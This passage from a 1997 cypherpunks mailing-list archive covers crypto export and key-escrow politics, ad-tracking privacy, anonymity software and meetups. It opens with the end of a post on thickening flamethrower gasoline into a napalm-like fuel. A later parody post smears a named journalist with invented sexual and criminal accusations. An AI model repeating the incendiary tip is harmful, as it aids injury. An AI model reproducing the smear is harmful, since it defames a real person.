it starts becoming sticky. (Can you say napalm?) Of course, making the
gasoline too viscous will reduce its ability to be sprayed, so experiment
before using in a critical situation to determine the optimum balance
between desired burn characteristics and sprayability.

DISCLAIMER:
The above information is presented for educational purposes only. It is not
intended as legal advice, consult the local authorities before constructing
your flamethrower. IANAL. Misuse of the preceding information can result in
death or serious injury. "Fire is cool, Beavis." "Yeah, uh, cool, huhuhuhuh."


Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

Get your assault crypto before they ban it!

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3984.1071713733.multipart/signed
Content-Type: application/octet-stream; name="pgp00006.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00006.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IHV0dHRaUVFyWEJl
eGpIYmxZR1lhU3VWNFE4dEs1YkNwCgppUUEvQXdVQk5DUUlnc0pGMGtYcXB3
M01FUUlGQXdDZlR6dVRPaEFDQTFYNXhBMkl4cWllWENRZkJSd0FvTUJDCkx0
MzZqMHdNelk3aVRXQitWSWUvWlJ6ego9d3dyNAotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3984.1071713733.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@sirius.infonex.com>
Date: Sun, 21 Sep 1997 01:50:49 +0800
To: Lee Tien <tien@well.com>
Subject: Re: directed speech free? request for opinions.
In-Reply-To: <v03007803b0488b2d954c@[163.176.132.90]>
Message-ID: <Pine.SOL.3.96.970920104223.4741C-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




I don't have the law code available. I was told by an attorney that the
particular passage says this is the case. I would like to challenge this
passage. I will get back with the particular code section and text.

Mark Hedges


On Fri, 19 Sep 1997, Lee Tien wrote:

>At 2:16 AM -0800 9/19/97, Mark Hedges wrote:
>>I have seen California law code which seems to indicate that speech
>>directed at an individual is not covered under the first amendment.
>>
>>If you have any thoughts on the matter, please send opinions (not legal
>>advice, of course, if you are a lawyer). Also, if you know of any speech
>>rights scholars or lawyers willing to answer a few related questions for
>>free, I would appreciate the pointer.
>
>I'm confused.  What in California law makes you think that the First
>Amendment doesn't apply unless you speak to more than one person?  Assuming
>that's what you mean by "speech directed at an individual."
>
>Lee
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sun, 21 Sep 1997 02:45:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: 6 USAF Crashes in 7 days = InfoWar?
In-Reply-To: <199709201425.JAA10308@einstein.ssz.com>
Message-ID: <19970920183104.3851.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



> Just a thought...

Why go in search of the complicated when stupidity is a perfectly
acceptable explanation?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Reiter <reiter@research.att.com>
Date: Sun, 21 Sep 1997 01:03:57 +0800
To: cypherpunks@toad.com
Subject: Crowds now available on LINUX
Message-ID: <199709201651.MAA09978@arran.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain




Crowds, a system for increasing your anonymity while you browse the
web, now runs on RedHat Linux 4.2, in addition to SunOS, Solaris, and
Irix.  The code can be requested from our web site:

http://www.research.att.com/projects/crowds

We would like our next target OS to be freeBSD, but unfortunately we
don't have a machine running it.  If anyone running a recent version
of freeBSD on a machine with a direct internet connection (not behind
a firewall, not over a modem) would be willing to donate a few minutes
to helping us port it there, we would be grateful.  Typically the port
doesn't take long ... basically we just need to figure out what args 
to pass to some fcntl calls.

Mike Reiter
Avi Rubin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sun, 21 Sep 1997 01:02:12 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: y2k as ideological opportunity
In-Reply-To: <199709181916.MAA17831@netcom13.netcom.com>
Message-ID: <Pine.SUN.3.96.970920123758.1214A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



> they say that every man has his price.
> integrity has no price!! imagine, would you turn down any
> amount of money to work on the corrupt state mechanisms?
> this is exactly what is required to bring them down. as
> long as they can continue to bribe the populace with its
> own money, they will continue.

I once worked for the city version of the evil corrupt state mechanism
here in NYC.  It's not as bad as people think it is, it's actually FAR
WORSE.

Here's my experiences:

The sysadmin there had quit unexpectedly and took a severance package.
Because the dude took severance, this closed the "line" for the job, which
means there was no longer a sysadmin postition available.  So they were
forced to hire me as a "special consultant" for supposedly two weeks -
took them two months to recreate the position.

When they were going to create an ID (no big deal, just a kodak like
camera with a laminator and some pre-printed text - for which they use
typewriters, yes typewriters to create) I had to wait a few days to get
one.  To quote the Human Resources weasel as to a reason "Because the temp
who makes them won't be here until Wednesday" (this was a full time, full
fledged gooberment employee.  The temp was expectedly a high school kid.)

After about another two months, I had to go through a "background check."
I had to pay for said background check.  All this being mandatory, failure
to do so results in instant firing and never being able to work there
again, etc.  I had to pay for this with a POSTAL money order. No check, no
bank money order - because those expire in 90 days and these buttfucked
people take longer than that to cash them in.  So not only do you get to
bend over for the city to peek into your ass, you have to pay for it too,
in a weird way.

All the forms are paper, xeroxed and re-xeroxed and re-xeroxed from
ancient type written forms, and they're mostly illegible.  One of the
forms was for politicians that clearly states that working for the city
means you're a public figgure and that you can expect NO PRIVACY and that
they may snoop on you in any way shape or form including health and credit
records, etc.

The beurocracy was legendary.  They were running on 286's with DOS and
Windoze 3.1 with 2 megs of ram and 20 to 80Mb hard drives...  This was in
the time of Windows 95 and pentium machines...  Viruses everywhere.

The network was the shittiest thing I ever saw running all 300 machines of
that department on 10b2! Yes! Coax, with Coax hubs.  50% of the time spent
was tracking down a loose connection that some ditz seccy had kicked out
(no offense to secretaries, but these folks were as smart as bricks.)

Everything is politics, politics, politics.  These folx care about nothing
else.  And corruption was prevalent.  One of the common things was for
various departments ordering say, 386's or 486's and having those rerouted
to the higher ups' and the dept ordering the 486's would get 286.  Memory,
CDROMS, sound cards, and other standard stuff ordered there was re-routed
elsewhere though ordered with the machine, the user would get a stripped
machine for which the city paid for a full one. And yes software piracy
was prevalent, even for server software.

Basically the life forms there rate only 1/2 an evolution scale point
higher than the life forms that live on welfare and social security
checks.  The only difference is that they work, they pay is about the
same.

This gentlemen is what our government is like.  It was a wrteching
experience to find this out personally, but it was worth it to see the
true nature of the beast that governs us though I puke at the thought of
what I went through there...

(By the way, did you know there is such a thing as a sewer tax that
businesses pay for, and that bakeries can get a discount on, because
baking makes most of the water they use evaporate and not go down the
sewer?  Such was the trivia there...)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David HM Spector <spector@zeitgeist.com>
Date: Sun, 21 Sep 1997 02:01:43 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Politcal Action Toolkit now available
Message-ID: <199709201753.NAA20166@wintermute.ny.zeitgeist.com>
MIME-Version: 1.0
Content-Type: text/plain




...not having much in the way of sleep since reading Louis Freeh's
testimony and his plans to assault the US Constitution I decided to do
something about it, and try to develop something that would help
others get involved too...

I would like to announce the availability of a Personal Political
Action Kit (PersPAK).  It contains full databases of members of the
House and the Senate and may be used for mail merging, faxing (senate
only at the moment, house members hopefully this week with the next
release), email campaigns, as well as plain old phone calls.  The data
were culled from the House and Senate directories that are on the Web,
and are current as of September 3, 1997.

The datasets are provided in two formats, tab-delimited and as an
Excel spreadsheet.  Two sample letters are included that show how to
use the mail-merge features of Office95/97, along with a README file
that will step users through the basics of using this kit and offers
some hints on what to say -- and sometimes more importantly NOT to say
-- in a letter to their congress-folk.

The kit can be accessed at:  http://www.zeitgeist.com/crypto

I plan on updating this toolkit with more features soon with some more
tools, and the ability to send mail/faxes to entire committees (as
opposed to picking congress persons/senators by individually), some Java
Applets to auto-generate letters, etc.

I'm making it available under the GNU Public License, so feel free to use this 
kit as a base for other tools.

Constructive criticism/ideas may be sent to perspak@zeitgeist.com

regards,
  _DHMS

-------------------------------------------------------------------------------
David HM Spector                                         spector@zeitgeist.com
Network Design & Infrastructure Security
-.-. --- -. -. . -.-. -  .-- .. - ....  .- -- .- - . ..- .-.  .-. .- -.. .. ---
"New and stirring things are belittled because if they are not belittled, 
the humiliating question arises, 'Why then are you not taking part in them?'"
                                                        --H. G. Wells





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Imgis Inc." <BB@imgis.com>
Date: Sun, 21 Sep 1997 04:20:23 +0800
To: Will Rodger <rodger@worldnet.att.net>
Subject: Re: "Matchcode" technology sparks privacy flames.....
In-Reply-To: <3.0.3.32.19970920151414.006db534@postoffice.worldnet.att.net>
Message-ID: <34242D52.382D@imgis.com>
MIME-Version: 1.0
Content-Type: text/plain



Will Rodger blathered:

> Ad tracking technology sparks new privacy war
> By Will Rodger
> September 19, 1997
> 11:42 AM PDT
>  Inter@ctive Week Online
> 
> An effort supported by two of the world's largest advertising brokers
> to tailor advertising to individual Internet users may pose the
> greatest threat yet to the protection of privacy in cyberspace,
> activists said.
...
> Yet, at the same time, the system has the ability to track the
> movements of any Internet user across participating sites,
> potentially revealing a dizzying array of confidential information,
> including users' reading habits, health concerns, political
> inclinations and religious affiliations. Imgis executives insist they
> won't do so, but the danger remains, critics said.

Imgis Inc. would like to point out that these libelous accusations
are being made by a sick, twisted individual who has visited over
3,000 pornography sites in the last six months. (68 of them on
Mother's Day!)
Will Rodgers is well known to Imgis Inc. to be a perverted leftist
loser who spends the time he is not busy slandering honest, decent
people such as ourselves, cruising the InterNet in search of 
underage teenage sluts who like long walks in the park, holding
hands under the full moon, AND CROWBARS SHOVED UP THEIR ASS DURING
STRANGE SEXUAL ACTIVITIES WITH FARMYARD BEASTS!
He has AIDS, cancer, and will soon have his health insurance canceled
by one of our biggest clients. He worships the *wrong* God and votes
for the *wrong* political candidates.

Our future projections, based on his past activities, indicate that
he will soon become a drug dealing pornographer and a terrorist
pedophile.
So ask yourself, "Is this the kind of person I want to have shaping
my views about Imgis Inc.'s public service software?"
If your answer is "Yes.", then perhaps we should reveal what we know
about YOU!

Sincerely,
A. Hoir
Janitor,
Imgis Inc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 21 Sep 1997 03:35:33 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: 6 USAF Crashes in 7 days = InfoWar? (fwd)
Message-ID: <199709201939.OAA11020@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: 6 USAF Crashes in 7 days = InfoWar?
> Date: Sat, 20 Sep 1997 11:31:04 -0700 (PDT)
> From: Mike Duvos <enoch@zipcon.net>

> Why go in search of the complicated when stupidity is a perfectly
> acceptable explanation?

Well it really wasn't meant to be taken quite that literaly. It just seemed
to me that a question of some import to this list might be how one tells
such a statistical anomaly (if you'll allow me) from an actual concerted
attack. What would the tale-tell's be for such a distinction? While
full-blown war would not be hard to differentiate consider such an attack
from a small group with an immediate and distinct goal as well as potential
long-range goals. What sorts of processes and types of information would be
of interest to a person who was tasked with evaluating such an occurance?

Things like:

 -    relationships between the history of the various participants, both
      mechanical and human

 -    geographic relationships, weather comparisons, environmental
      conditions, etc.


Consider your responce at first reading. That is a barrier that has to
be jumped for such activities to be used effectively, wouldn't you think?
This would indicate that an effective long-term strategy for a sect attack
via the Internet would be advertising. Which would rule-out most real
clandestine attacks as being from a small political or religous group. There
is also the issue of talent recruitement and budget. So, with these sorts of
issues in mind, what kinds of financial transactions might be of interest?
And finaly, in such an environment can the elimination of non-GAK crypto
really be effective? Is crypto really even an issue?

Now consider, if you will, the requirements if we assume that we are under a
concerted Pearl-Harbor attack from a rival 1st World power. How would that
effect the issues discussed above?


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cyberdog <eric@clever.net>
Date: Sun, 21 Sep 1997 03:04:35 +0800
To: Jim Choate <cypherpunks@ssz.com
Subject: Re: 6 USAF Crashes in 7 days = InfoWar?
In-Reply-To: <199709201425.JAA10308@einstein.ssz.com>
Message-ID: <v03110700b049ccdaf401@[204.249.244.13]>
MIME-Version: 1.0
Content-Type: text/plain



>Just a thought...

I vote for Dilbertwar, the stealth wing falling off had pointy hair
management written all over it.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Sun, 21 Sep 1997 03:19:10 +0800
To: cypherpunks@Algebra.COM
Subject: "Matchcode" technology sparks privacy flames.....
Message-ID: <3.0.3.32.19970920151414.006db534@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

One of the main assertions made by both sides in the privacy battles 
is people must be informed when a third party is gathering "personal" 
information about them.

But what constitutes personally identifiable information, anyway? 
Where do "real" privacy concerns begin? Below is a story I wrote  
about Imgis Inc. - a little-noticed company whose cookies are among 
the most common on the Net. If you don't them now, look in your 
cookie file. Chances are you'll find several marked "imgis.com."

Imgis thought it knew what the privacy concerns were with its 
technology. Others thought otherwise. Within two days of hearing 
about impending opposition, the company apparently changed its views.

Note that the technology described is not yet in use.

from http://www.zdnet.com/zdnn/content/inwo/0919/inwo0006.html

Ad tracking technology sparks new privacy war
By Will Rodger
September 19, 1997
11:42 AM PDT
 Inter@ctive Week Online

An effort supported by two of the world's largest advertising brokers 
to tailor advertising to individual Internet users may pose the 
greatest threat yet to the protection of privacy in cyberspace, 
activists said.

Under a system due for rollout in the first half of 1998, the Web 
advertising service Imgis Inc. will begin comparing detailed 
demographic information about Internet users to its stock of Web-
ready ads, sending Net users only those ads Imgis determines are best 
matched to their interests. The company, based in Los Angeles, will 
use a system of "match codes" to identify individual users.

Match codes are unique identifiers used to pick information about 
consumers out of databases, much as banks use Social Security numbers 
to identify customers.

Under the plan, when Internet users visit Web sites carrying Imgis 
ads, participating Internet service operators would send Imgis a 
match code corresponding to a demographic database of 140 million 
consumers maintained by database marketer Metromail Corp.

Imgis would then compare users' names, addresses, estimated incomes 
and automobile ownership against an inventory of advertisements. 
Thus, a white, single 25-year-old man living in Dubuque, Iowa, could 
see an ad that differs from that seen by a 65-year-old American 
Indian woman living in Manhattan.

Yet, at the same time, the system has the ability to track the 
movements of any Internet user across participating sites, 
potentially revealing a dizzying array of confidential information, 
including users' reading habits, health concerns, political 
inclinations and religious affiliations. Imgis executives insist they 
won't do so, but the danger remains, critics said.

Shelley Pasnik, an analyst with the Washington, D.C.-based Center for 
Media Education, slammed the proposal.

"This is huge. This is the most detailed proposal I've seen and 
probably the most significant threat to privacy I've heard of," she 
said.

"This is a really big deal; this is a real step back," added Tara 
Lemmey, chief executive officer of Narrowline Inc., a San Francisco-
based Internet advertising firm and a member of the TRUSTe privacy 
consortium. "This is a case where it's really important to step back 
and say we've really crossed the line."

Imgis, which specializes in Internet advertising, will place ads sold 
by Petry Media Corp. and Katz Media Group Inc.

Exposure of the plan follows four days of hearings on cyberspace 
privacy at the U.S. Federal Trade Commission last June. Though direct 
marketers were often on the defensive over their use of surreptitious 
techniques in gathering consumer information in cyberspace, the FTC 
tentatively concluded that the industry should police itself before 
the government takes action to protect privacy on the Internet.

But the Imgis case "accentuates all the concerns we've been talking 
about," said David Medine, associate director of credit practices at 
the FTC and moderator of most of the sessions. "Up until today, I 
think that users naturally assumed that users were anonymous through 
their Internet service providers when they surfed the Web. I don't 
think that you can say that anymore. If that has changed, it 
represents a dramatic shift in the relationship between the user and 
the Internet."

Medine said the FTC would expect Imgis to disclose all aspects of its 
data gathering through participating Web sites and ISPs if it begins 
using match codes to tailor ad delivery.

In an interview Tuesday, Imgis Chief Executive Officer Chuck Berger 
told Inter@ctive Week that his company had signed two Internet 
service providers, GTE Corp. and Netcom On-Line Communication 
Services Inc., to carry the service sometime in the first half of 
1998.

At the time, Berger said he believed there were no privacy concerns 
with "anonymous match codes," since Imgis had decided not to record 
which sites users visit.

"Once we pull your ad out of our database, we're done," Berger said. 
"We're not following you around the Web."

Imgis abruptly altered its story Thursday after Inter@ctive Week 
found that privacy advocates were up in arms over the technology. 
Marisa Verson, a principal with San Francisco public relations firm 
Interactive Communications Inc., which represents Imgis, said Imgis 
never had agreements with GTE or Netcom.

"GTE is nothing," she said. "If Chuck communicated that, I don't know 
how he even thinks that. This thing isn't even in the speculative 
stage until the privacy thing is down."

GTE spokesman Bill Kula confirmed Thursday morning that "we do use 
Imgis - or plan to - related to using actual public billing files." 
But "there's not a contract between the two companies today."

Netcom officials said they spoke with Imgis more than a year ago 
about the match code proposal but had discarded the idea over privacy 
concerns.

"I have absolutely zero plans to be involved with this," said Netcom 
advertising director Terry Pittman. "Whatever we do needs to be in 
synch with some rules of the road so that people know what we do with 
their information."

Imgis officials, stung by criticism of their plan, said they are 
moving swiftly. Though Berger earlier described Netizens who worry 
about their privacy online as a "vocal minority," Imgis marketing 
director David Kopp said the company is moving to develop some way of 
disclosing how it gathers information online and what it does with 
it.

"We'll come up with a policy that makes sense," Kopp said. "These 
issues are very big issues. The main reason we haven't pursued the 
product is we're not entirely confident we have a set of standards 
that would work. Without informed consent you can't do this sort of 
thing."

Kopp said the company would soon contact TRUSTe for guidance.

TRUSTe Chairman Lori Fena said she hoped to hear from Kopp soon.

"We mandate full disclosure," she said. "We expect full disclosure at 
all the Web sites, so this would no longer be a back-door deal."

The FTC's Medine agreed.

"It's going to take enough firms getting beat up in the press to make 
people realize they have to think about this first - before they 
develop the technology," he said.

Imgis can be reached at www.imgis.com

The FTC can be reached at www.ftc.gov



-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNCQghdZgKT/Hvj9iEQLu5ACfSVkRIbX8iYE7EgKnwV2FIZK82fUAoIBl
2TyMisA624IB1nWUwhI3qx54
=08lI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 21 Sep 1997 01:03:07 +0800
To: bianca@dev.null
Subject: Re: InfoWar 15 / The GeigerBurg Text
In-Reply-To: <3423A9F2.74F4@dev.null>
Message-ID: <199709201414.PAA01860@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bianca <bianca@dev.null> writes:
>
> Subject: Re: InfoWar 15 / The GeigerBurg Text"

The "Geigerburg text" referring to William H. Geiger XIV's request
that InfoWar submissions be in text rather than HTML.

Mime, HTML, Acrobat, microsoft word, uuencode, PGP armored etc. is not
generally suitable for mailing lists.

I wonder how many people actually are using something which will
display HTML correctly.

Oh yeah, and the cypherpunks list is _not_ at "toad.com".

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Christian Claborne <Claborne@CYBERTHOUGHT.com>
Date: Sun, 21 Sep 1997 07:03:10 +0800
To: cypherpunks-announce@toad.com
Subject: San Diego CPunk Physical meet this Thursday
Message-ID: <3.0.2.32.19970920154105.0099a2d0@cyberthought.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


This Wednesday!!!

   San Diego Area CPUNKS symposium  Wednesday, Sep. 24, 1997.

   Topic:
	What action do we take if the situation get's out of hand (See message below 
from Mark H. below).


   It is my belief that any group, no matter how small, can accomplish great 
things if they apply themselves.  Cypherpunks are not just "users", they 
poses  several additional quanta of the stuff that enables creative thought, 
and skill.  

   Don't forget to bring your public key  fingerprint.  If you can figure out
how to get it on the back of a business card, that would be cool.  If you 
want
the suspicious crowd there to sign your key, bring two forms of ID.

   
Place: The Mission Cafe & Coffee Shop
       3795 Mission Bl in Mission Beach.
       488-9060


Time:1800

Their Directions:
	8 west to Mission Beach Ingram Exit
	Take west mission bay drive
	Go right on Mission Blvd.

	On the corner of San Jose and mission blvd.
	It is located between roller coaster and garnett.
	It's kind of 40s looking building...  funky looking 
        (their description, not mine)

They serve stuff to eat, coffee stuff, and beer + wine stuff.

See you there!

New guy, bring your fingerprint.

Drop me a note if you plan to attend... 


      2
  -- C  --


- ------------------------
Date: Fri, 12 Sep 1997 16:04:22 -0700 (PDT)
From: Mark Hedges <hedges@infonex.com>
To: all-at-infonex@infonex.com
Subject: federal cryptography legislation
Sender: owner-all-at-infonex@infonex.com

- -----BEGIN PGP SIGNED MESSAGE-----

A bill called "SAFE" (HR-695, "Security and Freedom with Encryption") in
the U.S. House of Representatives would have allowed U.S. software
companies to export strong cryptography, and would have promoted privacy
in all U.S. communications. Cryptography is mathematical means of making a
message secret. Now, this bill has been rewritten to introduce more
restrictive cryptography legislation than ever before seen in the U.S.

Public support for cryptography use and export is very strong, as
evidenced by the California state legislature's unanimous vote 9/5/97,
calling on Congress and the President to revise and relax export laws
(SJR-29). Companies world-wide already produce strong cryptograpy
software, and U.S. buisness is rapidly losing ground in the world-wide
software and telecommunications market. 

The House National Security Committee this week voted to continue export
restrictions in the SAFE bill and to install "key escrow" proposals of the
defense and intelligence organizations. This would not only continue the
status quo legislation, it would strictly regulate and restrict domestic
use of cryptography, an unprecedented act. 

Key escrow legislation in SAFE would mandate government "back doors" in
all communications software before the end of the millennia in the United
States, imposing criminal penalties for use of secure cryptography.
Effectively, every citizen would be required to give law enforcement
involuntary and transparent access to all communications, including
financial, business, and personal messages. 

Key escrow also exposes all U.S. communication to a single point of
failure, which a hacker, spy, or corrupt official could exploit to gain
access to all personal, industry, and financial information. 

More information is available in our most recent press release. Press
releases can be viewed at http://www.anonymizer.com/press/. 

Please, call your congressional representatives and senators and encourage
them to oppose restrictive legislation on cryptography and mandated
government access to all communications. Names and phone numbers for your
local legislators can be obtained from www.house.gov and www.senate.gov. 

Sincerely,

Mark Hedges
Anonymizer Inc.
Infonex Internet Inc.

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vrQuQZ0EeGIOycwS7IuNLFFyx+C1E7HxcdX0UR3qMDgEiiFb09DlcuDHeSp52RZW
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naoTZI70GqVoUVYVrm+oVHln7HsdFqnrO/1GAVpLzKpEnzfT9C0d0o7T4t/WX4CM
yeeO2UZUwfg01VyCHORpFYbx1SrFlW4rZNZqOJMP2lA2cNDZBsLrhg==
=/sWk
-----END PGP SIGNATURE-----

                              ...  __o
                             ..   -\<,
Claborne@CYBERTHOUGHT.com    ...(*)/(*)._ Providing thoughts on 
					  your computing needs.
http://www.CYBERTHOUGHT.com/cyberthought/
PGP Pub Key fingerprint =  7E BF 38 3F 24 A7 D1 B0  54 44 96 AA 10 D0 5D 51
Avail on Pub Key server.  PGP-encrypted e-mail welcome!
Dreams.  They are just a "screen saver" for the brain.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 21 Sep 1997 04:41:38 +0800
To: cypherpunks@toad.com
Subject: Pearl Harbor Aggression (Was: 6 USAF Crashes in 7 days = InfoWar? (fwd)
Message-ID: <1.5.4.32.19970920202112.00897b48@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

>Now consider, if you will, the requirements if we assume that we are under a
>concerted Pearl-Harbor attack from a rival 1st World power. How would that
>effect the issues discussed above?

For answer to this consider:

There a number of countries who believe they are under just that
kind of Pearl harbor attack from the US through high-tech 
information warfare, electronic surveillance and related crypto 
control demands, especially the requirement for GAK in US 
and foreign-made products.

US leaders insistence that the US be 1st before all others in 
information technology, rightfully scares the shit out of our allies who
are distrusting the US more and more, perhaps even giving them
ideas about getting together with US enemies to beat back the 
Microsoft of nations. A counter-strike Pearl Harbor may be in the 
offing because of US belligerence and threat of Pearl Harboring 
others. (Recall the frequent invocation of this term by US reps, 
perhaps a clue to pre-emptive aggression in the works.)

The harping of US leaders on unidentified threats is making non-US
folks rather nervous, not being sure that the US may not turn on
its allies for the slightest of missteps or demurs, and cut off the
bountiful flow of global intel -- as the TLAs are now threatening 
Congressional committees. Crypto Czar Arons world consultations
were apparently thinly veiled threats to compel GAK compliance.

For an example, see a recent exchange on theukcrypto mail list 
between Ross Anderson and two DTI reps about the impact of
US GAK policy:

   http://jya.com/dti-words.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 21 Sep 1997 05:10:20 +0800
To: jya@pipeline.com (John Young)
Subject: Re: Pearl Harbor Aggression (Was: 6 USAF Crashes in 7 days =  InfoWar? (fwd)
In-Reply-To: <1.5.4.32.19970920202112.00897b48@pop.pipeline.com>
Message-ID: <199709202055.QAA09962@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
| The harping of US leaders on unidentified threats is making non-US
| folks rather nervous, not being sure that the US may not turn on
| its allies for the slightest of missteps or demurs, and cut off the
| bountiful flow of global intel -- as the TLAs are now threatening 
| Congressional committees. Crypto Czar Arons world consultations
| were apparently thinly veiled threats to compel GAK compliance.

	Recall "Secret Power," a book on the UKUSA agreements on joint
electronic surveillence of the world, in which New Zealand
participates.

	When NZ announced itself to be a nuclear free zone, the US
announced a cessation of shared intelligence activities.  It turns out
that this was utter bunk, and the work never hiccupped.

	If intel cooperation ceases, look for large cargo ships
carrying home US hardware.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 21 Sep 1997 05:26:47 +0800
To: cypherpunks@toad.com
Subject: US Crypto Laws cripple Euros
Message-ID: <v03110706b049eba06d9e@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




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From: Robert Hettinga <rah@shipwright.com>
Subject: US Crypto Laws cripple Euros
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MIME-Version: 1.0
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Subject: US Crypto Laws cripple Euros

http://www.techweb.com:80/wire/news/1997/09/0917crylaws.html

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                  [TechWire]
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                       Home      Apple  Hardware Software Chips  Internati onal

                  U.S. Crypto Laws Cripple Euros, Expert Says
                  (09/17/97; 5:00 p.m. EDT)
                  By Douglas Hayward, TechWire
                  [Image]
                  CAMBRIDGE, England -- The U.S. government's    Related
                  strategy of monitoring the computer networks   Stories:
                  of hostile governments is damaging the
                  communications infrastructure of its allies,   The
                  a leading encryption expert said.              Governmen t
                                                                 Eyes
                  The American enthusiasm for using              Encryptio n
                  "information warfare" strategies has resulted
                  in a weakening of the U.K. and European        Capitol H ill
                  civilian communications, said Ross Anderson,   Girds For  Key
                  an academic at Cambridge University, at the    Clashes O ver
                  International Symposium on Economic Crime      Encryptio n
                  held in Cambridge, England, on Tuesday.
                                                                 Computer
                  Information warfare -- the act of monitoring   Industry
                  or sabotaging an enemy's communications and    Riled Up  Over
                  computing infrastructure -- gained widespread  FBI Chief 's
                  attention during the Gulf War when the U.S.    Suggestio n
                  military hacked its way into Iraqi
                  communication networks.                        FBI Insis ts
                                                                 On Crypto
                  Anderson was a co-author of a highly critical  Access
                  report published in May that attacked the
                  Clinton administration's encryption export     Criminal
                  control policies. The report, written by a     Informati on
